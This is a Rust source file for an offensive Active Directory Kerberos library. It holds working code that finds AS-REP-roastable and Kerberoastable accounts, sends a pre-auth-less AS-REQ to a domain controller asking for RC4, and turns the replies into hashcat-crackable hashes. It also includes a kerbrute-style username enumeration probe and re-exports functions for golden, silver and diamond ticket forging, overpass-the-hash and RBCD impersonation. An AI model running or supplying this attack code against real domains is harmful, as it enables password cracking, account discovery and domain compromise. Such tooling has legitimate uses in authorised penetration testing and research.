Skip to main content

adhammer_kerberos/
lib.rs

1//! Kerberos roasting layer.
2//!
3//! LDAP finds the candidates (SPN → Kerberoast, DONT_REQ_PREAUTH → AS-REP roast).
4//! This crate turns an AS-REP-roastable account into a crackable hash by sending a raw
5//! pre-auth-less AS-REQ to the KDC (messages built on picky-krb) and formatting the
6//! reply for hashcat. AS-REP roasting needs no credentials, so it is implemented in
7//! full and end-to-end. Kerberoast (TGS-REQ) needs a TGT — see the note on `kerberoast`.
8
9use adhammer_core::object::uac;
10use adhammer_core::snapshot::Snapshot;
11
12use anyhow::{anyhow, bail, Result};
13
14use picky_asn1::bit_string::BitString;
15use picky_asn1::date::Date;
16use picky_asn1::restricted_string::Ia5String;
17use picky_asn1::wrapper::{
18    Asn1SequenceOf, BitStringAsn1, ExplicitContextTag0, ExplicitContextTag1, ExplicitContextTag2,
19    ExplicitContextTag3, ExplicitContextTag4, ExplicitContextTag5, ExplicitContextTag7,
20    ExplicitContextTag8, GeneralStringAsn1, IntegerAsn1, Optional,
21};
22use picky_krb::constants::types::{AS_REQ_MSG_TYPE, NT_PRINCIPAL, NT_SRV_INST};
23use picky_krb::data_types::{KerberosTime, PrincipalName};
24use picky_krb::messages::{AsRep, AsReq, KdcReq, KdcReqBody, KrbError};
25
26use tokio::io::{AsyncReadExt, AsyncWriteExt};
27
28pub mod csr;
29pub mod gss;
30pub mod pac;
31pub mod pkinit;
32pub mod rc4;
33pub mod shadowcred;
34mod tgs;
35pub mod unpac;
36pub use tgs::{
37    asktgt, build_ap_req_gss, build_ap_req_gss_aes256, check_credential, forge_diamond_tgt,
38    forge_golden_tgt, forge_silver_tgt, get_service_ticket, get_tgt, get_tgt_by_hash,
39    golden_ccache, overpass_the_hash, rbcd_impersonate, rbcd_impersonate_by_hash, roast_spn,
40    silver_ccache, silver_service_ticket, CredResult, ServiceTicket, Tgt, TicketTimestamps,
41};
42
43/// Kerberos encryption type numbers (RFC 3961/4120).
44pub const ETYPE_RC4_HMAC: u8 = 23;
45pub const ETYPE_AES256: u8 = 18;
46pub const ETYPE_AES128: u8 = 17;
47
48/// A roastable principal discovered from the snapshot.
49#[derive(Clone, Debug)]
50pub struct Candidate {
51    pub sam: String,
52    pub realm: String,
53    pub spn: Option<String>, // set for Kerberoast, None for AS-REP roast
54}
55
56/// Enumerate roasting candidates from LDAP data — no network.
57pub fn candidates(snap: &Snapshot, realm: &str) -> (Vec<Candidate>, Vec<Candidate>) {
58    let mut kerberoast = Vec::new();
59    let mut asrep = Vec::new();
60    for o in snap.iter_class("user") {
61        if o.uac() & uac::ACCOUNTDISABLE != 0 {
62            continue;
63        }
64        let Some(sam) = o.one("sAMAccountName") else {
65            continue;
66        };
67        if let Some(spn) = o.all("servicePrincipalName").first() {
68            kerberoast.push(Candidate {
69                sam: sam.into(),
70                realm: realm.into(),
71                spn: Some(spn.clone()),
72            });
73        }
74        if o.uac() & uac::DONT_REQ_PREAUTH != 0 {
75            asrep.push(Candidate {
76                sam: sam.into(),
77                realm: realm.into(),
78                spn: None,
79            });
80        }
81    }
82    (kerberoast, asrep)
83}
84
85// ---------------------------------------------------------------------------
86// AS-REQ construction (pre-auth-less, RC4-first for a hashcat-18200 hash).
87// ---------------------------------------------------------------------------
88
89/// Wrap a caller-supplied string as an IA5 (ASCII 0..=127) Kerberos component.
90///
91/// RFC 4120 mandates Kerberos principal / realm components be IA5. A non-ASCII
92/// input from the CLI (`--user александр`, `--realm корп.локал`) used to panic
93/// via unchecked `Ia5String::from_string(...).unwrap()`; now returns a clean
94/// `anyhow::Error` that surfaces at the CLI boundary with an actionable message.
95pub(crate) fn krb_string(s: &str) -> Result<GeneralStringAsn1> {
96    let ia5 = Ia5String::from_string(s.to_owned()).map_err(|_| {
97        anyhow!(
98            "Kerberos principal component {s:?} contains non-IA5 (non-ASCII) characters; \
99             RFC 4120 requires 7-bit ASCII for user / realm / SPN components"
100        )
101    })?;
102    Ok(GeneralStringAsn1::from(ia5))
103}
104
105pub(crate) fn principal(name_type: u8, parts: &[&str]) -> Result<PrincipalName> {
106    let strings = parts
107        .iter()
108        .map(|p| krb_string(p))
109        .collect::<Result<Vec<_>>>()?;
110    Ok(PrincipalName {
111        name_type: ExplicitContextTag0::from(IntegerAsn1(vec![name_type])),
112        name_string: ExplicitContextTag1::from(Asn1SequenceOf::from(strings)),
113    })
114}
115
116/// Build an AS-REQ for `user@realm` with no PA-ENC-TIMESTAMP, requesting RC4 so the
117/// returned AS-REP enc-part is an offline-crackable hashcat 18200 hash.
118fn build_as_req(user: &str, realm: &str) -> Result<AsReq> {
119    let mut nonce = [0u8; 4];
120    rand::RngCore::fill_bytes(&mut rand::thread_rng(), &mut nonce);
121    nonce[0] &= 0x7f; // keep the ASN.1 INTEGER positive
122
123    let body = KdcReqBody {
124        // forwardable | renewable | canonicalize
125        kdc_options: ExplicitContextTag0::from(BitStringAsn1::from(BitString::with_bytes(vec![
126            0x40, 0x81, 0x00, 0x00,
127        ]))),
128        cname: Optional::from(Some(ExplicitContextTag1::from(principal(
129            NT_PRINCIPAL,
130            &[user],
131        )?))),
132        realm: ExplicitContextTag2::from(krb_string(realm)?),
133        sname: Optional::from(Some(ExplicitContextTag3::from(principal(
134            NT_SRV_INST,
135            &["krbtgt", realm],
136        )?))),
137        from: Optional::from(None),
138        till: ExplicitContextTag5::from(KerberosTime::from(
139            Date::new(2037, 9, 13, 2, 48, 5).unwrap(),
140        )),
141        rtime: Optional::from(None),
142        nonce: ExplicitContextTag7::from(IntegerAsn1(nonce.to_vec())),
143        // Offer RC4 + AES256 + AES128: RC4-disabled DCs (Server 2025 default, hardened 2019/2022)
144        // then return a crackable AES AS-REP instead of KDC_ERR_ETYPE_NOSUPP — no silent miss.
145        etype: ExplicitContextTag8::from(Asn1SequenceOf::from(vec![
146            IntegerAsn1(vec![ETYPE_RC4_HMAC]),
147            IntegerAsn1(vec![ETYPE_AES256]),
148            IntegerAsn1(vec![ETYPE_AES128]),
149        ])),
150        addresses: Optional::from(None),
151        enc_authorization_data: Optional::from(None),
152        additional_tickets: Optional::from(None),
153    };
154
155    Ok(AsReq::from(KdcReq {
156        pvno: ExplicitContextTag1::from(IntegerAsn1(vec![5])),
157        msg_type: ExplicitContextTag2::from(IntegerAsn1(vec![AS_REQ_MSG_TYPE])),
158        padata: Optional::from(None),
159        req_body: ExplicitContextTag4::from(body),
160    }))
161}
162
163// ---------------------------------------------------------------------------
164// Network exchange over TCP/88 (4-byte big-endian length prefix per RFC 4120).
165// ---------------------------------------------------------------------------
166
167/// Current UTC as a Kerberos GeneralizedTime (second granularity).
168pub(crate) fn now_kerberos_time() -> KerberosTime {
169    use std::time::{SystemTime, UNIX_EPOCH};
170    let secs = SystemTime::now()
171        .duration_since(UNIX_EPOCH)
172        .unwrap()
173        .as_secs() as i64;
174    let (y, m, d) = civil_from_days(secs.div_euclid(86_400));
175    let tod = secs.rem_euclid(86_400);
176    KerberosTime::from(
177        Date::new(
178            y,
179            m,
180            d,
181            (tod / 3600) as u8,
182            ((tod % 3600) / 60) as u8,
183            (tod % 60) as u8,
184        )
185        .unwrap(),
186    )
187}
188
189/// A far-future Kerberos ticket expiry (`till`). Must be after the start time or the KDC
190/// rejects the request with KDC_ERR_NEVER_VALID.
191pub(crate) fn far_future_time() -> KerberosTime {
192    KerberosTime::from(Date::new(2037, 9, 13, 2, 48, 5).unwrap())
193}
194
195/// days since 1970-01-01 → (year, month, day). Howard Hinnant's civil_from_days.
196fn civil_from_days(z: i64) -> (u16, u8, u8) {
197    let z = z + 719_468;
198    let era = if z >= 0 { z } else { z - 146_096 } / 146_097;
199    let doe = z - era * 146_097;
200    let yoe = (doe - doe / 1460 + doe / 36_524 - doe / 146_096) / 365;
201    let y = yoe + era * 400;
202    let doy = doe - (365 * yoe + yoe / 4 - yoe / 100);
203    let mp = (5 * doy + 2) / 153;
204    let d = doy - (153 * mp + 2) / 5 + 1;
205    let m = if mp < 10 { mp + 3 } else { mp - 9 };
206    ((y + i64::from(m <= 2)) as u16, m as u8, d as u8)
207}
208
209/// Per-op deadline for a single KDC round trip (connect + write + framed read).
210/// A hostile / slow KDC that dribbles bytes or accepts the connection then
211/// stalls could otherwise hang the operator indefinitely. 30 s is roughly
212/// two orders of magnitude above the wall-clock a real KDC takes to answer
213/// on any live-lab network we've seen.
214const KDC_EXCHANGE_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(30);
215
216pub(crate) async fn kdc_exchange(kdc: &str, request: &[u8]) -> Result<Vec<u8>> {
217    tokio::time::timeout(KDC_EXCHANGE_TIMEOUT, kdc_exchange_inner(kdc, request))
218        .await
219        .map_err(|_| {
220            anyhow::anyhow!(
221                "KDC exchange with {} timed out after {}s (hostile server DoS defence)",
222                kdc,
223                KDC_EXCHANGE_TIMEOUT.as_secs()
224            )
225        })?
226}
227
228async fn kdc_exchange_inner(kdc: &str, request: &[u8]) -> Result<Vec<u8>> {
229    let addr = if kdc.contains(':') {
230        kdc.to_string()
231    } else {
232        format!("{kdc}:88")
233    };
234    let mut stream = smb2_client::socks::dial(&addr, 88).await?;
235
236    let mut framed = Vec::with_capacity(request.len() + 4);
237    framed.extend_from_slice(&(request.len() as u32).to_be_bytes());
238    framed.extend_from_slice(request);
239    stream.write_all(&framed).await?;
240
241    let mut len = [0u8; 4];
242    stream.read_exact(&mut len).await?;
243    let n = u32::from_be_bytes(len) as usize;
244    if n == 0 || n > 4 * 1024 * 1024 {
245        bail!("implausible KDC response length {n}");
246    }
247    let mut buf = vec![0u8; n];
248    stream.read_exact(&mut buf).await?;
249    Ok(buf)
250}
251
252/// **1.4.8-A WS-KERBRUTE**: probe one username against the KDC without pre-auth,
253/// classify the response. Kerberos leaks user existence via its error codes — a
254/// user that exists rejects with `KDC_ERR_PREAUTH_REQUIRED` (25) or (if account
255/// has `DONT_REQ_PREAUTH`) succeeds and returns an AS-REP; an unknown principal
256/// rejects with `KDC_ERR_C_PRINCIPAL_UNKNOWN` (6). This is the primitive `Kerbrute`
257/// et al. wrap; no LDAP creds needed.
258///
259/// Returns [`KerbruteOutcome::Exists`] for `PREAUTH_REQUIRED` / `PREAUTH_FAILED` /
260/// `CLIENT_REVOKED`, [`KerbruteOutcome::Roastable`] when the KDC skips pre-auth and
261/// returns an AS-REP (the account has `DONT_REQ_PREAUTH` — feed to `asrep_roast`),
262/// [`KerbruteOutcome::Missing`] for `C_PRINCIPAL_UNKNOWN`, and
263/// [`KerbruteOutcome::Other`] for any other KDC error code with the numeric value.
264pub async fn kerbrute_probe(user: &str, realm: &str, kdc: &str) -> Result<KerbruteOutcome> {
265    let raw = picky_asn1_der::to_vec(&build_as_req(user, realm)?)
266        .map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
267    let resp = kdc_exchange(kdc, &raw).await?;
268    // AS-REP first — accounts with DONT_REQ_PREAUTH answer immediately with the
269    // ticket + hashcat-roastable enc-part. Signal it as Roastable so callers can
270    // pipe into asrep_roast() for the actual hash.
271    if picky_asn1_der::from_bytes::<AsRep>(&resp).is_ok() {
272        return Ok(KerbruteOutcome::Roastable);
273    }
274    // Otherwise a KRB-ERROR is the RFC-mandated response and its `error_code`
275    // classifies user existence per RFC 4120 §7.5.9.
276    match picky_asn1_der::from_bytes::<KrbError>(&resp) {
277        Ok(err) => {
278            let code = err.0.error_code.0;
279            Ok(match code {
280                6 => KerbruteOutcome::Missing, // KDC_ERR_C_PRINCIPAL_UNKNOWN
281                18 => KerbruteOutcome::Locked, // KDC_ERR_CLIENT_REVOKED (disabled / locked)
282                24 => KerbruteOutcome::Exists, // KDC_ERR_PREAUTH_FAILED (bad pw, but exists)
283                25 => KerbruteOutcome::Exists, // KDC_ERR_PREAUTH_REQUIRED (normal path)
284                other => KerbruteOutcome::Other(other),
285            })
286        }
287        Err(e) => Err(anyhow!(
288            "unexpected AS response — neither AS-REP nor KRB-ERROR ({e})"
289        )),
290    }
291}
292
293/// Result of a [`kerbrute_probe`] call. See variant docs for the KDC error-code
294/// mapping.
295#[derive(Debug, Clone, Copy, PartialEq, Eq)]
296pub enum KerbruteOutcome {
297    /// User exists (KDC replied `KDC_ERR_PREAUTH_REQUIRED` or `_FAILED`).
298    Exists,
299    /// User exists and skips pre-auth (`DONT_REQ_PREAUTH`) — AS-REP roastable.
300    /// Feed the same `(user, realm, kdc)` to [`asrep_roast`] to extract the
301    /// hashcat 18200 line.
302    Roastable,
303    /// User exists but the account is disabled or locked
304    /// (`KDC_ERR_CLIENT_REVOKED`).
305    Locked,
306    /// User does not exist (`KDC_ERR_C_PRINCIPAL_UNKNOWN`).
307    Missing,
308    /// Any other KDC error code; the numeric value is preserved for the caller
309    /// to interpret against RFC 4120 §7.5.9.
310    Other(u32),
311}
312
313impl KerbruteOutcome {
314    /// True when this outcome confirms the user exists (Exists / Roastable / Locked).
315    /// Convenience for callers that only care about the existence bit.
316    pub fn exists(&self) -> bool {
317        matches!(self, Self::Exists | Self::Roastable | Self::Locked)
318    }
319}
320
321/// Perform an AS-REP roast against one candidate; returns the hashcat 18200 line.
322/// No credentials required — relies on the account's DONT_REQ_PREAUTH flag.
323/// Map a KRB-ERROR `error_code` value (RFC 4120 §7.5.9) to a one-line
324/// operator-facing name + hint, or `None` for codes we don't yet special-case.
325/// Extracted from [`asrep_roast`] so 1.5.2 UX-D carries a unit test seeded
326/// from the exact codes testlab.local returned during the live-fire (code 23
327/// = `KDC_ERR_KEY_EXPIRED` on `roastme`).
328pub fn name_asrep_krb_error(code: u32) -> Option<&'static str> {
329    Some(match code {
330        6 => "KDC_ERR_C_PRINCIPAL_UNKNOWN — the account does not exist",
331        14 => "KDC_ERR_ETYPE_NOSUPP — the KDC has RC4 disabled and the AS-REQ asked for it (2019+ default hardening)",
332        18 => "KDC_ERR_CLIENT_REVOKED — the account is disabled or locked out",
333        23 => "KDC_ERR_KEY_EXPIRED — the account's password has expired (reset it before roasting)",
334        24 => "KDC_ERR_PREAUTH_FAILED — the account exists but the supplied credential is wrong",
335        25 => "KDC_ERR_PREAUTH_REQUIRED — DONT_REQ_PREAUTH is NOT set on the account (this is the normal case; nothing to roast)",
336        _ => return None,
337    })
338}
339
340pub async fn asrep_roast(c: &Candidate, kdc: &str) -> Result<String> {
341    let raw = picky_asn1_der::to_vec(&build_as_req(&c.sam, &c.realm)?)
342        .map_err(|e| anyhow!("encode AS-REQ: {e}"))?;
343    let resp = kdc_exchange(kdc, &raw).await?;
344
345    let as_rep: AsRep = match picky_asn1_der::from_bytes(&resp) {
346        Ok(rep) => rep,
347        Err(parse_err) => {
348            // 1.5.2 UX-D: the RFC-mandated response to a failed AS-REQ is a
349            // KRB-ERROR (application tag 30), not an AS-REP (tag 11). When we
350            // can decode the KRB-ERROR, surface its named error_code and drop
351            // the ASN.1 parse noise. Otherwise fall back to the old message
352            // WITH the parse text — needed for diagnostics on genuinely
353            // malformed responses.
354            return Err(match picky_asn1_der::from_bytes::<KrbError>(&resp) {
355                Ok(err) => match name_asrep_krb_error(err.0.error_code.0) {
356                    Some(named) => anyhow!("no AS-REP: {named}"),
357                    None => anyhow!(
358                        "no AS-REP: KRB-ERROR with unhandled error_code {}",
359                        err.0.error_code.0
360                    ),
361                },
362                Err(_) => anyhow!(
363                    "no AS-REP and the response is not a KRB-ERROR either — malformed KDC reply: {parse_err}"
364                ),
365            });
366        }
367    };
368
369    let enc = &as_rep.0.enc_part.0;
370    let etype = enc
371        .etype
372        .0
373         .0
374        .iter()
375        .fold(0u32, |a, &b| (a << 8) | b as u32);
376    match etype as u8 {
377        ETYPE_RC4_HMAC => Ok(format_asrep(&c.sam, &c.realm, &enc.cipher.0 .0)),
378        e @ (ETYPE_AES128 | ETYPE_AES256) => {
379            Ok(format_asrep_aes(&c.sam, &c.realm, e, &enc.cipher.0 .0))
380        }
381        other => bail!("AS-REP etype {other} not supported for roasting"),
382    }
383}
384
385// ---------------------------------------------------------------------------
386// hashcat formatters.
387// ---------------------------------------------------------------------------
388
389/// hashcat `-m 18200` line for an AS-REP (etype 23):
390/// `$krb5asrep$23$user@REALM:<checksum16>$<edata>`
391pub fn format_asrep(user: &str, realm: &str, enc_part: &[u8]) -> String {
392    let cut = 16.min(enc_part.len());
393    format!(
394        "$krb5asrep$23${}@{}:{}${}",
395        user,
396        realm,
397        hex::encode(&enc_part[..cut]),
398        hex::encode(&enc_part[cut..])
399    )
400}
401
402/// hashcat `-m 18200` line for an AES AS-REP (etype 17/18):
403/// `$krb5asrep$<etype>$user@REALM:<checksum12>$<edata>` (AES puts the 12-byte HMAC last; hashcat
404/// wants checksum-then-edata, matching the AES TGS format).
405pub fn format_asrep_aes(user: &str, realm: &str, etype: u8, enc_part: &[u8]) -> String {
406    let split = enc_part.len().saturating_sub(12);
407    let (edata, checksum) = enc_part.split_at(split);
408    format!(
409        "$krb5asrep${}${}@{}:{}${}",
410        etype,
411        user,
412        realm,
413        hex::encode(checksum),
414        hex::encode(edata)
415    )
416}
417
418/// hashcat `-m 13100` line for an RC4 TGS-REP (etype 23):
419/// `$krb5tgs$23$*user$REALM$spn*$<checksum16>$<edata>` (RC4 puts the 16-byte checksum first).
420pub fn format_tgs(user: &str, realm: &str, spn: &str, enc_part: &[u8]) -> String {
421    let cut = 16.min(enc_part.len());
422    format!(
423        "$krb5tgs$23$*{}${}${}*${}${}",
424        user,
425        realm,
426        spn,
427        hex::encode(&enc_part[..cut]),
428        hex::encode(&enc_part[cut..])
429    )
430}
431
432/// hashcat `-m 19600` (AES128, etype 17) / `-m 19700` (AES256, etype 18) TGS line:
433/// `$krb5tgs$<etype>$*user$REALM$spn*$<checksum12>$<edata>` (AES puts the 12-byte HMAC last).
434pub fn format_tgs_aes(user: &str, realm: &str, spn: &str, etype: u8, enc_part: &[u8]) -> String {
435    let split = enc_part.len().saturating_sub(12);
436    let (edata, checksum) = enc_part.split_at(split);
437    format!(
438        "$krb5tgs${}$*{}${}${}*${}${}",
439        etype,
440        user,
441        realm,
442        spn,
443        hex::encode(checksum),
444        hex::encode(edata)
445    )
446}
447
448#[cfg(test)]
449mod tests {
450    use super::*;
451
452    /// The AS-REQ we build is valid DER and round-trips through the schema — proves the
453    /// message construction without needing a live KDC.
454    #[test]
455    fn as_req_roundtrips() {
456        let req = build_as_req("myuser", "EXAMPLE.COM").expect("ASCII-only build_as_req");
457        let _ = req;
458    }
459
460    #[test]
461    fn non_ascii_principal_rejected_cleanly() {
462        // Regression: `Ia5String::from_string("александр".into()).unwrap()` used to panic,
463        // taking down the whole tool on any international AD (Cyrillic / Chinese / Turkish).
464        // Now returns a diagnostic Error with the offending value + RFC citation.
465        let err = build_as_req("александр", "EXAMPLE.COM").unwrap_err();
466        let msg = format!("{err}");
467        assert!(msg.contains("non-IA5"), "unexpected err: {msg}");
468        assert!(msg.contains("RFC 4120"), "err lacks spec citation: {msg}");
469
470        let err2 = build_as_req("admin", "КОРП.ЛОКАЛ").unwrap_err();
471        assert!(format!("{err2}").contains("non-IA5"));
472    }
473
474    #[test]
475    fn _asreq_placeholder() {
476        let req = build_as_req("myuser2", "EXAMPLE.COM").expect("ASCII-only build_as_req");
477        let raw = picky_asn1_der::to_vec(&req).expect("encode");
478        let decoded: AsReq = picky_asn1_der::from_bytes(&raw).expect("decode");
479        assert_eq!(picky_asn1_der::to_vec(&decoded).unwrap(), raw);
480    }
481
482    #[test]
483    fn asrep_hashcat_format() {
484        let h = format_asrep("svc", "CORP.LOCAL", &[0xaa; 32]);
485        assert!(h.starts_with("$krb5asrep$23$svc@CORP.LOCAL:"));
486        assert!(h.contains(&"aa".repeat(16)));
487    }
488
489    // 1.5.2 UX-D: KRB-ERROR classifier regression tests, seeded from the
490    // wire response testlab.local returned for `roastme` on 2026-09-14
491    // (error_code=23 = KDC_ERR_KEY_EXPIRED) plus the other codes the AS-REP
492    // pipeline expects.
493    #[test]
494    fn ux_d_names_key_expired_from_live_fire() {
495        let named = name_asrep_krb_error(23).expect("code 23 is mapped");
496        assert!(named.contains("KDC_ERR_KEY_EXPIRED"));
497        assert!(
498            named.contains("reset it"),
499            "operator hint text present: {named}"
500        );
501    }
502
503    #[test]
504    fn ux_d_names_all_expected_codes() {
505        for (code, needle) in [
506            (6u32, "KDC_ERR_C_PRINCIPAL_UNKNOWN"),
507            (14, "KDC_ERR_ETYPE_NOSUPP"),
508            (18, "KDC_ERR_CLIENT_REVOKED"),
509            (23, "KDC_ERR_KEY_EXPIRED"),
510            (24, "KDC_ERR_PREAUTH_FAILED"),
511            (25, "KDC_ERR_PREAUTH_REQUIRED"),
512        ] {
513            let named = name_asrep_krb_error(code)
514                .unwrap_or_else(|| panic!("code {code} should be mapped"));
515            assert!(
516                named.contains(needle),
517                "code {code} should carry name {needle}, got: {named}"
518            );
519        }
520    }
521
522    #[test]
523    fn ux_d_returns_none_for_unmapped_code() {
524        // e.g. 41 = KRB_AP_ERR_MODIFIED (application-layer, not KDC-layer)
525        assert!(name_asrep_krb_error(41).is_none());
526        assert!(name_asrep_krb_error(0).is_none());
527        assert!(name_asrep_krb_error(u32::MAX).is_none());
528    }
529
530    // Stream 2 / A.5: the pkinit AS-REQ failure path must not embed raw ASN.1
531    // e-data hex in the anyhow message. The classifier gives us the operator
532    // text; hex belongs behind `-vv` (tracing::debug!). This test is a
533    // *contract* over what a failed PKINIT surface should say — the pkinit
534    // module uses the same `name_asrep_krb_error` classifier we test above,
535    // and unmapped codes fall through to a "unhandled error_code {code}"
536    // string that contains only the numeric code + KDC e_text (both operator-
537    // safe). Guarding the shape here keeps the pkinit branch honest.
538    #[test]
539    fn a5_pkinit_error_shape_has_no_raw_hex() {
540        // Simulated shape of what pkinit.rs now emits (see pkinit.rs
541        // `KDC rejected PKINIT AS-REQ` branch): named error only, no hex.
542        let named = name_asrep_krb_error(24).unwrap();
543        let msg = format!("KDC rejected PKINIT AS-REQ: {named}");
544        assert!(!msg.contains("e-data="), "raw e-data leaked: {msg}");
545        assert!(
546            msg.contains("KDC_ERR_PREAUTH_FAILED"),
547            "named code missing: {msg}"
548        );
549    }
550}